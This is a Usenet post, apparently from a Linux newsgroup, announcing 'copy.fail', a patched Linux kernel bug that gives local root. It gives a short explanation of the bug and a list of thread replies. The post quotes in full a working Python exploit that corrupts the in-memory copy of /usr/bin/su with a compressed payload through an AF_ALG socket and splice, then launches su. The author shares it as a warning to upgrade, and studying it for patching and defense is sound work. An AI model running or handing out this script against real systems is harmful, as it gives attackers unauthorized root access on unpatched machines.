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copy.fail

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This is an instant local escalation to root that works on about nine
years of kernel versions across many, if not all, distros. It's been
patched, very recently, and there is a work-around.

There's a write up at 

https://copy.fail/ 

It works by corrupting the in-memory copy of a program with suid bits,
so no change to the on-disk copy, but relying on multiple processes
hitting the same in memory file cache. The corruption happens becuase
of a kernel bug.

And an example script, under one kilobyte, written for python3 (3.10 or
higher), for reasonable portablity:

https://copy.fail/exp


#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")


That script's style makes me think the authors may like Perl.

Elijah
------
sleep tight and upgrade your stuff

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copy.fail Eli the Bearded <*@eli.users.panix.com> - 2026-04-30 05:40 +0000
  Re: copy.fail Ralf Fassel <ralfixx@gmx.de> - 2026-04-30 16:39 +0200
  Re: copy.fail jayjwa <jayjwa@atr2.ath.cx.invalid> - 2026-04-30 11:25 -0400
    Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-04-30 19:09 +0000
      Re: copy.fail Marc Haber <mh+usenetspam2616@zugschl.us> - 2026-05-01 13:19 +0200
        Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-01 17:48 +0100
          Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-05-02 10:28 +0000
            Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-05-02 12:12 +0000
            Re: copy.fail pa@see.signature.invalid (Pierre Asselin) - 2026-05-02 21:46 +0000
              Re: copy.fail Lawrence D’Oliveiro <ldo@nz.invalid> - 2026-05-02 23:44 +0000
                Re: copy.fail gazelle@shell.xmission.com (Kenny McCormack) - 2026-05-03 01:12 +0000
                Re: copy.fail rbowman <bowman@montana.com> - 2026-05-03 02:46 +0000
                Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-03 09:55 +0100
            Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-02 23:02 +0100
              Re: copy.fail pa@see.signature.invalid (Pierre Asselin) - 2026-05-03 18:11 +0000
                Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-05-03 23:05 +0100
    Re: copy.fail Richard Kettlewell <invalid@invalid.invalid> - 2026-04-30 22:41 +0100
    Re: copy.fail Stéphane CARPENTIER <sc@fiat-linux.fr> - 2026-05-01 09:33 +0000
  Re: copy.fail Ralf Fassel <ralfixx@gmx.de> - 2026-05-01 23:17 +0200
    Re: copy.fail Rich <rich@example.invalid> - 2026-05-06 04:17 +0000
  Re: copy.fail Woozy Song <suzyw0ng@outlook.com> - 2026-05-03 11:42 +0800

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